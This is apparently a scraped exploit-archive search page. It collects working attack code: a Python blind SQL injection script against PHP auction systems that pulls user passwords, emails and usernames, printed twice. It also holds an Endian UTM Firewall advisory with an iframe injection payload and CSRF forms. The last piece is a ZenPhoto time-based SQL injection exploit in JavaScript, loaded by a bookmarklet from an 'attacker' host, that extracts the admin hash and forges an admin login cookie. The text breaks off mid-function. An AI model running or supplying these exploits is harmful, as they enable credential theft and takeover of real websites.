hack username and password
Search result for 'hack username and password'
(0.0685510635376 seconds)
Easy Laster/Date & Sex Vor und Rückwärts Auktions System <= v2 Blind SQL Injection Exploit ( php)
----------------------------Information------------------------------------------------
+Name : Date & Sex Vor und Rückwärts Auktions System <= v2 Blind SQL Injection Exploit
+Autor : Easy Laster
+Date : 27.03.2010
+Script : Date & Sex Vor und Rückwärts Auktions System <= v2
+Download : ------------------
+Demo : http://phpspezial.de/date-auktion-v2/
+Price : 599.99€
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.
---------------------------------------------------------------------------------------
___ ___ ___ ___ _ _ _____ _ _
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|
|___| |___|
----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/flirt/auktion_text.php?id_auk=
#password
+Exploitable : http://www.site.com/flirt/auktion_text.php?id_auk=1+and+1=1+and+
ascii(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1
-----------------------------------------------------------------------------------------
#Exploit
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, getopt
def out(str):
sys.stdout.write(str)
sys.stdout.flush()
def read_url(url):
while True:
try:
src = urllib2.urlopen(url).read()
break
except:
pass
return src
class Exploit:
charset = "0123456789abcdefABCDEF"
url = ""
charn = 1
id = 1
table_prefix = ""
table_field = ""
passwd = ""
columns = []
find_passwd = True
def __init__(self):
if len(sys.argv) < 2:
print "*****************************************************************************"
print "*Date&Sex Vor und Rückwärts Auktions System <=v2 Blind SQL Injection Exploit*"
print "*****************************************************************************"
print "* Discovered and vulnerability by Easy Laster *"
print "* coded by Dr.ChAoS *"
print "*****************************************************************************"
print "* Usage: *"
print "* python exploit.py [OPTION...] [SWITCH...] <url> *"
print "* *"
print "* Example: *"
print "* *"
print "* Get the password of the user with id 2: *"
print "* python exploit.py --id 2 http://site.de/path/ *"
print "* *"
print "* Get email, username and password of id 1: *"
print "* python exploit.py --columns 80:1:email,25:5:username http://site.de/ *"
print "* *"
print "* Switches: *"
print "* --nopw Search no password *"
print "* *"
print "* Options: *"
print "* --id <user id> User id *"
print "* --prefix <table prefix> Table prefix of ECP *"
print "* --charn <1 - 32, default = 1> Start at position x *"
print "* --columns <max_chars:charn:column,...> Get value of any column you want *"
print "*****************************************************************************"
exit()
opts, switches = getopt.getopt(sys.argv[1:], "", ["id=", "prefix=", "charn=", "columns=", "nopw"])
for opt in opts:
if opt[0] == "--id":
self.id = int(opt[1])
elif opt[0] == "--prefix":
self.table_prefix = opt[1]
elif opt[0] == "--charn":
self.charn = int(opt[1])
elif opt[0] == "--columns":
for col in opt[1].split(","):
max, charx, name = col.split(":")
self.columns.append([int(max), int(charx), name, ""])
elif opt[0] == "--nopw":
self.find_passwd = False
for switch in switches:
if switch[:4] == "http":
if switch[-1:] == "/":
self.url = switch
else:
self.url = switch + "/"
def generate_url(self, ascii):
return self.url + "auktion_text.php?id_auk=1+and+1=1+and+ascii(substring((SELECT%20" + self.table_field + "%20FROM%20" + self.table_prefix + "fh_user+WHERE+iduser=" + str(self.id) + "%20LIMIT%200,1)," + str(self.charn) + ",1))%3E" + str(ord(ascii))
def start(self):
print "Exploiting..."
if self.find_passwd:
charx = self.charn
self.password()
if len(self.columns) > 0:
self.read_columns()
print "All finished!\n"
print "------ Results ------"
if len(self.columns) > 0:
for v in self.columns:
print "Column \"" + v[2] + "\": " + v[3]
if self.find_passwd:
if len(self.passwd) == 32 - charx + 1:
print "Password: " + self.passwd
else:
print "Password not found!"
print "--------------------"
def read_columns(self):
end = False
charrange = [0]
charrange.extend(range(32, 256))
for i in range(len(self.columns)):
out("Getting value of \"" + self.columns[i][2] + "\": ")
self.table_field = self.columns[i][2]
self.charn = self.columns[i][1]
for pwc in range(self.charn, self.columns[i][0] + 1):
if end == True:
break
self.charn = pwc
end = False
for c in charrange:
src = read_url(self.generate_url(chr(c)))
if "test" not in src:
if c == 0:
end = True
else:
self.columns[i][3] += chr(c)
out(chr(c))
break
out("\n")
def password(self):
out("Getting password: ")
self.table_field = "password"
for pwc in range(self.charn, 33):
self.charn = pwc
for c in self.charset:
src = read_url(self.generate_url(c))
if "test" not in src:
self.passwd += c
out(c)
break
out("\n")
exploit = Exploit()
exploit.start()
Easy Laster/Date and Sex Vor und Ruckwarts Auktions System Blind SQL Injection ( na)
----------------------------Information------------------------------------------------
+Name : Date & Sex Vor und Rückwärts Auktions System <= v2 Blind SQL Injection Exploit
+Autor : Easy Laster
+Date : 27.03.2010
+Script : Date & Sex Vor und Rückwärts Auktions System <= v2
+Download : ------------------
+Demo : http://phpspezial.de/date-auktion-v2/
+Price : 599.99
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.
---------------------------------------------------------------------------------------
___ ___ ___ ___ _ _ _____ _ _
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|
|___| |___|
----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/flirt/auktion_text.php?id_auk=
#password
+Exploitable : http://www.site.com/flirt/auktion_text.php?id_auk=1+and+1=1+and+
ascii(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1
-----------------------------------------------------------------------------------------
#Exploit
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, getopt
def out(str):
sys.stdout.write(str)
sys.stdout.flush()
def read_url(url):
while True:
try:
src = urllib2.urlopen(url).read()
break
except:
pass
return src
class Exploit:
charset = "0123456789abcdefABCDEF"
url = ""
charn = 1
id = 1
table_prefix = ""
table_field = ""
passwd = ""
columns = []
find_passwd = True
def __init__(self):
if len(sys.argv) < 2:
print "*****************************************************************************"
print "*Date&Sex Vor und Rückwärts Auktions System <=v2 Blind SQL Injection Exploit*"
print "*****************************************************************************"
print "* Discovered and vulnerability by Easy Laster *"
print "* coded by Dr.ChAoS *"
print "*****************************************************************************"
print "* Usage: *"
print "* python exploit.py [OPTION...] [SWITCH...] <url> *"
print "* *"
print "* Example: *"
print "* *"
print "* Get the password of the user with id 2: *"
print "* python exploit.py --id 2 http://site.de/path/ *"
print "* *"
print "* Get email, username and password of id 1: *"
print "* python exploit.py --columns 80:1:email,25:5:username http://site.de/ *"
print "* *"
print "* Switches: *"
print "* --nopw Search no password *"
print "* *"
print "* Options: *"
print "* --id <user id> User id *"
print "* --prefix <table prefix> Table prefix of ECP *"
print "* --charn <1 - 32, default = 1> Start at position x *"
print "* --columns <max_chars:charn:column,...> Get value of any column you want *"
print "*****************************************************************************"
exit()
opts, switches = getopt.getopt(sys.argv[1:], "", ["id=", "prefix=", "charn=", "columns=", "nopw"])
for opt in opts:
if opt[0] == "--id":
self.id = int(opt[1])
elif opt[0] == "--prefix":
self.table_prefix = opt[1]
elif opt[0] == "--charn":
self.charn = int(opt[1])
elif opt[0] == "--columns":
for col in opt[1].split(","):
max, charx, name = col.split(":")
self.columns.append([int(max), int(charx), name, ""])
elif opt[0] == "--nopw":
self.find_passwd = False
for switch in switches:
if switch[:4] == "http":
if switch[-1:] == "/":
self.url = switch
else:
self.url = switch + "/"
def generate_url(self, ascii):
return self.url + "auktion_text.php?id_auk=1+and+1=1+and+ascii(substring((SELECT%20" + self.table_field + "%20FROM%20" + self.table_prefix + "fh_user+WHERE+iduser=" + str(self.id) + "%20LIMIT%200,1)," + str(self.charn) + ",1))%3E" + str(ord(ascii))
def start(self):
print "Exploiting..."
if self.find_passwd:
charx = self.charn
self.password()
if len(self.columns) > 0:
self.read_columns()
print "All finished!\n"
print "------ Results ------"
if len(self.columns) > 0:
for v in self.columns:
print "Column \"" + v[2] + "\": " + v[3]
if self.find_passwd:
if len(self.passwd) == 32 - charx + 1:
print "Password: " + self.passwd
else:
print "Password not found!"
print "--------------------"
def read_columns(self):
end = False
charrange = [0]
charrange.extend(range(32, 256))
for i in range(len(self.columns)):
out("Getting value of \"" + self.columns[i][2] + "\": ")
self.table_field = self.columns[i][2]
self.charn = self.columns[i][1]
for pwc in range(self.charn, self.columns[i][0] + 1):
if end == True:
break
self.charn = pwc
end = False
for c in charrange:
src = read_url(self.generate_url(chr(c)))
if "test" not in src:
if c == 0:
end = True
else:
self.columns[i][3] += chr(c)
out(chr(c))
break
out("\n")
def password(self):
out("Getting password: ")
self.table_field = "password"
for pwc in range(self.charn, 33):
self.charn = pwc
for c in self.charset:
src = read_url(self.generate_url(c))
if "test" not in src:
self.passwd += c
out(c)
break
out("\n")
exploit = Exploit()
exploit.start()
Date and Sex Vor und Ruckwarts Auktions System version 2 suffers from a remote blind SQL injection vulnerability.
Easy Laster/Multi Auktions Komplett System 2 Blind SQL Injection ( na)
----------------------------Information------------------------------------------------
+Name : Multi Auktions Komplett System V2 <= Blind SQL Injection Exploit
+Autor : Easy Laster
+Date : 28.03.2010
+Script : Multi Auktions Komplett System V2
+Download : ------------------
+Demo : http://phpspezial.de/multi-auktion-3/
+Price : 899.90
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.
---------------------------------------------------------------------------------------
___ ___ ___ ___ _ _ _____ _ _
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|
|___| |___|
----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/multiauktionV3/auktion_text.php?id_auk=
#password
+Exploitable : http://www.site.com/multiauktionV3/auktion_text.php?id_auk=1+and+1=1+and+
ascii(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1
-----------------------------------------------------------------------------------------
#Exploit
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, getopt
def out(str):
sys.stdout.write(str)
sys.stdout.flush()
def read_url(url):
while True:
try:
src = urllib2.urlopen(url).read()
break
except:
pass
return src
class Exploit:
charset = "0123456789abcdefABCDEF"
url = ""
charn = 1
id = 1
table_prefix = ""
table_field = ""
passwd = ""
columns = []
find_passwd = True
def __init__(self):
if len(sys.argv) < 2:
print "*****************************************************************************"
print "*******Multi Auktions Komplett System V2 <= Blind SQL Injection Exploit******"
print "*****************************************************************************"
print "* Discovered and vulnerability by Easy Laster *"
print "* coded by Dr.ChAoS *"
print "*****************************************************************************"
print "* Usage: *"
print "* python exploit.py [OPTION...] [SWITCH...] <url> *"
print "* *"
print "* Example: *"
print "* *"
print "* Get the password of the user with id 2: *"
print "* python exploit.py --id 2 http://site.de/path/ *"
print "* *"
print "* Get email, username and password of id 1: *"
print "* python exploit.py --columns 80:1:email,25:5:username http://site.de/ *"
print "* *"
print "* Switches: *"
print "* --nopw Search no password *"
print "* *"
print "* Options: *"
print "* --id <user id> User id *"
print "* --prefix <table prefix> Table prefix of ECP *"
print "* --charn <1 - 32, default = 1> Start at position x *"
print "* --columns <max_chars:charn:column,...> Get value of any column you want *"
print "*****************************************************************************"
exit()
opts, switches = getopt.getopt(sys.argv[1:], "", ["id=", "prefix=", "charn=", "columns=", "nopw"])
for opt in opts:
if opt[0] == "--id":
self.id = int(opt[1])
elif opt[0] == "--prefix":
self.table_prefix = opt[1]
elif opt[0] == "--charn":
self.charn = int(opt[1])
elif opt[0] == "--columns":
for col in opt[1].split(","):
max, charx, name = col.split(":")
self.columns.append([int(max), int(charx), name, ""])
elif opt[0] == "--nopw":
self.find_passwd = False
for switch in switches:
if switch[:4] == "http":
if switch[-1:] == "/":
self.url = switch
else:
self.url = switch + "/"
def generate_url(self, ascii):
return self.url + "auktion_text.php?id_auk=1+and+1=1+and+ascii(substring((SELECT%20" + self.table_field + "%20FROM%20" + self.table_prefix + "fh_user+WHERE+iduser=" + str(self.id) + "%20LIMIT%200,1)," + str(self.charn) + ",1))%3E" + str(ord(ascii))
def start(self):
print "Exploiting..."
if self.find_passwd:
charx = self.charn
self.password()
if len(self.columns) > 0:
self.read_columns()
print "All finished!\n"
print "------ Results ------"
if len(self.columns) > 0:
for v in self.columns:
print "Column \"" + v[2] + "\": " + v[3]
if self.find_passwd:
if len(self.passwd) == 32 - charx + 1:
print "Password: " + self.passwd
else:
print "Password not found!"
print "--------------------"
def read_columns(self):
end = False
charrange = [0]
charrange.extend(range(32, 256))
for i in range(len(self.columns)):
out("Getting value of \"" + self.columns[i][2] + "\": ")
self.table_field = self.columns[i][2]
self.charn = self.columns[i][1]
for pwc in range(self.charn, self.columns[i][0] + 1):
if end == True:
break
self.charn = pwc
end = False
for c in charrange:
src = read_url(self.generate_url(chr(c)))
if "Test" not in src:
if c == 0:
end = True
else:
self.columns[i][3] += chr(c)
out(chr(c))
break
out("\n")
def password(self):
out("Getting password: ")
self.table_field = "password"
for pwc in range(self.charn, 33):
self.charn = pwc
for c in self.charset:
src = read_url(self.generate_url(c))
if "Test" not in src:
self.passwd += c
out(c)
break
out("\n")
exploit = Exploit()
exploit.start()
Multi Auktions Komplett System version 2 suffers from a remote blind SQL injection vulnerability.
Vulnerability-Lab/Endian UTM Firewall v2.4.x & v2.5.0 - Multiple Web Vulnerabilities ( php)
Title:
======
Endian UTM Firewall v2.4.x & v2.5.0 - Multiple Web Vulnerabilities
Date:
=====
2012-03-01
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=228
VL-ID:
=====
228
Introduction:
=============
Einfach, schnell und zukunftssicher! Die ideale Lösung, um Ihre Filialen und industriellen Zweigstellen rund um den Globus zu schützen.
Endian 4i ist die ideale Lösung für Büroaußenstellen oder Industrieinstallationen. Die Firewall ist in den zwei Varianten „Office“ und
„Industrial“ erhältlich. Die Office-Version bietet alle Funktionen, um Netzwerke in der Firma und in Verbindung mit Außenstellen einfach
und sicher zu verlinken. Derselbe Funktionsumfang ist bei der Industrial-Version vorhanden, die sich speziell an den Industriebereich
richtet und 24V Support bietet sowie auf der Hutschiene installiert werden kann. Remote-Supporting, Remote-Konfiguration, Systemüberwachung
bis hin zur einfachen, sicheren Vernetzung von Außenstellen – die Kostenvorteile dabei liegen auf der Hand. Sichern auch Sie sich die
Konnektivität Ihres Unternehmens ab, und behalten Sie mit der Endian 4i stets die Nase vorn.
(Copy of the Vendor Homepage: http://www.endian.com/de/products/utm-hardware/4i/)
Abstract:
=========
Vulnerability-Lab Team discovered multiple Web Vulnerabilities on Endians UTM Firewall v2.5.0 Appliance.
Report-Timeline:
================
2011-09-16: Vendor Notification
2011-09-20: Vendor Response/Feedback
2012-00-00: Vendor Fix/Patch
2012-03-01: Public or Non-Public Disclosure
Status:
========
Published
Affected Products:
==================
Endian
Product: UTM Firewall Appliance Application v2.5.-x; 2.4-0 & 2.4.-x
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
1.1
Multiple persistent input validation vulnerabilities are detected on Endians WAF UTM appliance application.
The vulnerability allows an attacker to manipulate specific application requests via persistent included script codes.
Vulnerable: Input Validation Vulnerabilities (Server-Side|Persistent)
Vulnerable Module(s):
[+] Proxy - HTTP Configuration Masks
[+] Service - Intrusion Prevention
[+] Netzwerk - Host Configuration
[+] DHCP
Pictures:
../ive1.png
1.2
Multiple cross site request forgery vulnerabilities are detected on client-side of the edian waf appliance.
The vulnerability allows an attacker to force client-side module requests of application functions.
Vulnerable: Cross Site Request Forgery Vulnerabilities (Client-Side|Non Persistent)
Vulnerable Module(s):
[+] HotSpot - Add Password
[+] System - Passwords
Picture(s):
../csrf1.png
Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers with high required user inter action or local low privileged user accounts.
For demonstration or reproduce ...
1.1
Example Code Review: Input Validation Vulnerabilities (Persistent Inject)
Server: demo.endian.com/
Path: /cgi-bin/
File: proxyconfig.cgi
<div id="page-content-box"> <div id="notification-view" class="spinner" style="display:none"></div>
<div id="module-content">
<script type="text/javascript">
$(document).ready(function() {
/* Enable visualization of service notifications */
display_notifications(["squid","dansguardian","havp","sarg"], {"startMessage": "Proxy settings are being
applied. Please hold...","updateContent": ".service-switch-form","type": "observe","endMessage": "Proxy settings have been
applied successfully.","interval": "500"});
})
</script>
<div class="error-fancy" style="width: 504px; ">
<div class="content">
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td class="sign" valign="middle"><img src="/images/bubble_red_sign.png" alt="" border="0" /></td>
<td class="text" valign="middle">">"<iframe src=http://vulnerability-lab.com width=600 height=600>@aollamer.de"
at "Email used for notification (cache admin)" is not valid!(or?@rem0ve)<br /></td>
</tr>
</table>
</div>
Reference(s):
https://xx.xxxx.com/cgi-bin/proxyconfig.cgi
https://xx.xxxx.com/cgi-bin/hosts.cgi
https://xx.xxxx.com/cgi-bin/dhcp.cgi
1.2
Example Code Review: Cross Site Request Forgery Vulnerabilities (Non-Persistent)
Server: demo.endian.com/
Path: /cgi-bin/
File: hotspot-changepw.cgi or changepw.cgi
<form action="/cgi-bin/changepw.cgi" method="post">
<div class="section first multi-column">
<input type='hidden' name='ACTION_ROOT' value='save' />
<div class="title"><h2 class="title">SSH Password (root)</h2></div>
<div class="fields-row">
<span class="multi-field">
<label id="username_field" for="username">Password *</label>
<input type="password" name="ROOT_PASSWORD1" SIZE="5" /></span>
... or
<form enctype='multipart/form-data' method='post' action='/cgi-bin/hotspot-changepw.cgi'>
<input type='hidden' name='ACTION_HOTSPOT' value='save' />
<table width='100%'>
<tr>
<td width='15%' class='base'>Password:</td>
<td width='30%'><input type='password' name='HOTSPOT_PASSWORD1' /></td>
<td width='15%' class='base'>Again:</td>
<td width='30%'><input type='password' name='HOTSPOT_PASSWORD2' /></td>
<td width='10%'><input class='submitbutton' type='submit' name='submit' value='Save' /></td>
</tr>
</table>
</form>
References:
https://xx.xxxx.com/cgi-bin/changepw.cgi
https://xx.xxxx.com/cgi-bin/hotspot-changepw.cgi
Solution:
=========
1.1
Restrict & parse the vulnerable input & output sections to fix the persistent injects.
1.2
Use a csrf tokens & a checkbox to verify a request.
Risk:
=====
The security risk of the persistent vulnerabilities are estimated as high(-).
The security risk of the non-persistent vulnerabilities are estimated as low(+).
Credits:
========
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.
Copyright © 2012|Vulnerability-Lab
petros/ZenPhoto 1.2.5 Completely Blind SQL Injection Exploit ( php)
/*
* ZenPhoto 1.2.5 Completly Blind SQL Injection Exploit
* Requirements: magic_quotes = ANY (zenpage disables it anyway), ZenPage needs to be activated and have at least one news category
*
* What does this exploit let you do:
* The precoded functions I provided will allow you to extract the username and password hash of the admin from the database.
* It will also let you login to the admin panel w/o actually knowing the plain text password (only the username and hash are required)
*
* How To Use:
* 1) upload this script to http://attacker/exploit.js
* 2) open a vulnerable category in your webbrowser (Example: http://victim/zenphoto/news/category/anycategorynamehere)
* 3) Enter the following code into your address bar:
* javascript:(function(){var url = "http://attacker/exploit.js"; var evil = document.createElement('script'); evil.src = url; document.body.appendChild(evil);})();
* 4) Press enter and wait for the exploit console to show
* 5) You may now extract the username/password hash from the database (buggy :( )
* 6) Use the username/password hash with the Login Emulation tool to login to the admin panel
* 7) Have fun :)
*
* WARNING: THIS IS BUGGY! You might not get the hash/username correct the first time. Play with the settings below to tweak it so it works better for you
*
* Why this works:
* The sanitize function doesn't escape single quotes...
*
* Vulnerable Code (index.php):
* 95: $catname = sanitize($_GET['category']);
* 96: query("UPDATE ".prefix('zenpage_news_categories')." SET `hitcounter` = `hitcounter`+1 WHERE `cat_link` = '".$catname."'",true);
*
* Patch:
* 95: $catname = mysql_real_escape_string($_GET['category']);
*
* Example Exploitation:
* /zenphoto/news/category/cat1' and hitcounter = (SELECT IF(SUBSTRING(password,1 ,1) = 'A',BENCHMARK(5000000,ENCODE('this will probably','waste some time')),null) FROM zp_administrators) and '1' = '1
*
* This payload will delay the page from loading for about 5 seconds if the first letter of the password hash is 'A'
*
* The time detection isn't perfect and was pretty much slapped together. Make sure you try editing the variables below or
* make your own injector :P
*
* Discovered and Coded by petros@dusecurity.com
* Shoutz to xplorer and the rest of the DuSec Team
*/
// Change this if you are having problems with the injection
var patience = .8; // Time in seconds on how patient we are. Will be substracted from the benchmark time
var max_retries = 3; // maximum retries after failed HTTP request
var charset_hash = "0123456789abcdef".split(''); // charset for the password hash
var charset_username = "abcdefghiklmnopqrstuvqxzy0123456789ABCEDFGHIJKLMNOPQRSTUVWXYZ ._".split(''); // charset for the username
var username_max = 64; // max length of the username
var hash_max = 32; // max length of password hash (its md5..i wouldnt change this)
var benchmark_code = "BENCHMARK(5850000,ENCODE('this will probably','waste some time'))"; // code used to slow down requests if the query is true
var show_timing = false; // whether or not to show the timings of each request (good for debugging)
var delay = 1500; // delay in miliseconds between request
var err_delay = 1000; //delay in miliseconds to wait after an error
// Dont edit below this line
var display = false;
var display_loot = false;
var loot = false;
var loot_username = false;
var loot_password = false;
function get(page) // returns how long it took to send/receive the request...
{
var xhr = window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
xhr.open('GET', page, false); // keep it syncronized..
xhr.setRequestHeader( "If-Modified-Since", "Sat, 1 Jan 2000 00:00:00 GMT" ); // cache..
var seconds = getTime();
xhr.send(null);
seconds = getTime() - seconds;
var success = (xhr.readyState == 4 && xhr.status == 200);
xhr = null; // dispose
return { 'miliseconds': seconds, 'seconds': seconds / 1000, 'success': success };
}
function getTime()
{
return Math.round(new Date().getTime());
}
function createDisplay() // create the display div
{
var div = document.createElement("DIV");
div.style.backgroundColor = '#C3FFB9';
div.style.border = '2px dashed green';
div.style.margin = '3px';
div.style.paddingLeft = '10px';
div.style.paddingBottom = '10px';
div.innerHTML = '<h2>ZenPhoto Blind Injection -- petros@dusecurity</h2><p><br /></p>';
display = document.createElement("P");
document.body.insertBefore(div, document.body.childNodes[0]);
div.appendChild(display);
}
function write(text)
{
display.innerHTML += text + "<br />";
}
function setDisplay(text)
{
display.innerHTML = text;
}
function clearDisplay()
{
display.innerHTML = '';
}
function getPath()
{
return window.location.pathname;
}
function showMenu()
{
clearDisplay();
write('What you like to do?');
var ul = document.createElement('OL'); // changed to OL so they know to do it in steps
createListItem('Extract Admin Username', 'extractusername();',ul);
createListItem('Extract Admin Password','extractpassword();',ul);
createListItem('Login to Admin using Hash', 'adminlogin();', ul);
display.appendChild(ul);
}
var un;
var pw;
function adminlogin()
{
clearDisplay();
write("Admin Login Emulator: ");
un = createTextbox('Username: ', (loot_username) ? loot_username : '[Enter Username]');
pw = createTextbox('Password: ', (loot_password) ? loot_password: '[Enter Hash]');
createButton('Pwn!', "step2();");
write('<br /><a href="javascript:showMenu();">Back To Menu</a>');
}
function step2()
{
var username = un.value;
var password = pw.value;
var auth =MD5(username + password);
SetCookie('zenphoto_auth', MD5(username + password), 30);
clearDisplay();
write("Generated auth cookie: zenphoto_auth=" + auth);
write("You are now logged in with admin privileges :)");
write('<a href="../../zp-core/admin.php">Enter Admin Panel</a>');
write('<br /><a href="javascript:showMenu();">Back To Menu</a>');
}
function createTextbox(label, value)
{
display.innerHTML += "<strong>" + label + "</strong>";
var tb = document.createElement('input');
tb.type = 'text';
tb.value = value;
display.appendChild(tb);
write('');
return tb;
}
function createButton(text, click)
{
write("<BUTTON onclick=\"" + click + "\">" + text + "</BUTTON>");
}
function addEvent(elem, type, handle)
{
if (elem.addEventListener)
elem.addEventListener(type, handle, false);
else if (elem.attachEvent)
elem.attachEvent("on" + type, handle);
}
// borrowed function
function SetCookie(cookieName,cookieValue,nDays) {
var today = new Date();
var expire = new Date();
if (nDays==null || nDays==0) nDays=1;
expire.setTime(today.getTime() + 3600000*24*nDays);
document.cookie = cookieName+"="+escape(cookieValue)
+ ";expires="+expire.toGMTString() + ";path=../../";
}
function extractusername()
{
clearDisplay();
var path = getPath();
var basetime = 0;
var benchmark = 0;
var diff = 0;
var offset = 0;
var charset_len = charset_username.length;
var resp = false;
loot = '';
display_loot = false;
write("Extracting username..");
write("Using path: " + path);
resp = get(path);
if(!resp.success) { write("Failed to request page."); return; }
basetime = resp.miliseconds;
write("Normal request time set to " + basetime + " milisecond(s)");
resp = get(path + "' and hitcounter = (SELECT IF('1' = '1',"+benchmark_code+",null)) and '1' = '1");
benchmark = resp.miliseconds;
diff = benchmark - basetime;
if(diff <= (patience * 1000)){ alert("Error calculating request difference! Try again later."); showMenu();}
write("Benchmark request time set to " + benchmark + " milisecond(s)");
if(benchmark <= (basetime + (patience * 1000))){ write("Error: Benchmark took less time than expected. Script might be patched or magic_quotes may be enabled. Make sure you are NOT logged in a try again."); return;}
write("Username: <div id=\"loot\"></div>");
display_loot = document.getElementById('loot');
var retries = 0;
var min = diff - (patience * 1000);
var best_match = 0;
var best = '';
if(min < 0) { write("Error: Benchmark took less time than expected. Please try again later."); return;}
function readNextChar()
{
var c = charset_username[offset];
display_loot.innerHTML = '';
display_loot.innerHTML += loot + c;
resp = get(path + "' and hitcounter = (SELECT IF(SUBSTRING(user,"+ (loot.length + 1)+" ,1) = '"+ c +"',"+ benchmark_code+",null) FROM zp_administrators LIMIT 0,1) and '1' = '1");
if(!resp.success) { ++retries; if(retries >= max_retries) { write("failed to execute exploit (too many errors)"); return;} setTimeout(readNextChar, err_delay); return;}
retries = 0; //reset error counter
var took = resp.miliseconds - basetime; //difference
if(took > 0 && best_match < took) {best_match = took; best = c;}
if(show_timing)
write(loot.length + 1 + "> "+ 'char= ' + c + ', took= ' + took + ', min= ' + min);
if(took >= min)
{
loot += c;
if(show_timing)
write("got \"" + loot + "\" so far...");
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
best = '';
best_match = 0;
offset = 0;
}
else
offset++;
if(loot.length >= username_max)
{
display_loot.innerHTML = ''; display_loot += loot;
loot_username = loot;
write('<a href="javascript:showMenu();">Back To Menu</a>');
alert("Admin Username is \"" + loot + "\"\r\n(reached max length)");
return;
}
if(offset < charset_len)
setTimeout(readNextChar, delay);
else
{
if(loot.length < username_max)
{
write("best match: " + best_match);
function beAnAsshole(){
loot += best;
best = ''; best_match = 0;
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
offset = 0;
setTimeout(readNextChar, delay);
return;}
}
display_loot.innerHTML = '';
display_loot.innerHTML += loot;
loot_username = loot;
write('<a href="javascript:showMenu();">Back To Menu</a>');
alert("Admin Username is \"" + loot + "\"");
}
}
readNextChar();
}
function extractpassword()
{
clearDisplay();
var path = getPath();
var basetime = 0;
var benchmark = 0;
var diff = 0;
var offset = 0;
var charset_len = charset_hash.length;
var resp = false;
loot = '';
display_loot = false;
write("Extracting password..");
write("Using path: " + path);
resp = get(path);
if(!resp.success) { write("Failed to request page."); return; }
basetime = resp.miliseconds;
write("Normal request time set to " + basetime + " milisecond(s)");
resp = get(path + "' and hitcounter = (SELECT IF('1' = '1',"+benchmark_code+",null)) and '1' = '1");
benchmark = resp.miliseconds;
write("Benchmark request time set to " + benchmark + " milisecond(s)");
if(benchmark <= (basetime + (patience * 1000))){ write("Error: Benchmark took less time than expected. Script might be patched or magic_quotes may be enabled. Make sure you are NOT logged in a try again."); return;}
write("Password: <div id=\"loot\"></div>");
display_loot = document.getElementById('loot');
var retries = 0;
diff = benchmark - basetime;
if(diff <= 0) { alert("Failed to determine difference. Try again later"); showMenu(); return;}
var min = diff- (patience * 1000);
var best_match = 0;
var best = '';
if(min < 0) { write("Error: Benchmark took less time than expected. Please try again later."); return;}
function readNextChar()
{
var c = charset_hash[offset];
display_loot.innerHTML = '';
display_loot.innerHTML += loot + c;
resp = get(path + "' and hitcounter = (SELECT IF(SUBSTRING(password,"+ (loot.length + 1)+" ,1) = '"+ c +"',"+ benchmark_code+",null) FROM zp_administrators LIMIT 0,1) and '1' = '1");
if(!resp.success) { ++retries; if(retries >= max_retries) { write("failed to execute exploit (too many errors)"); return;} setTimeout(readNextChar, err_delay); return;}
var took = resp.miliseconds - basetime;
retries = 0;
if(took > 0 && took > best_match) {best_match = took; best = c;}
if(show_timing)
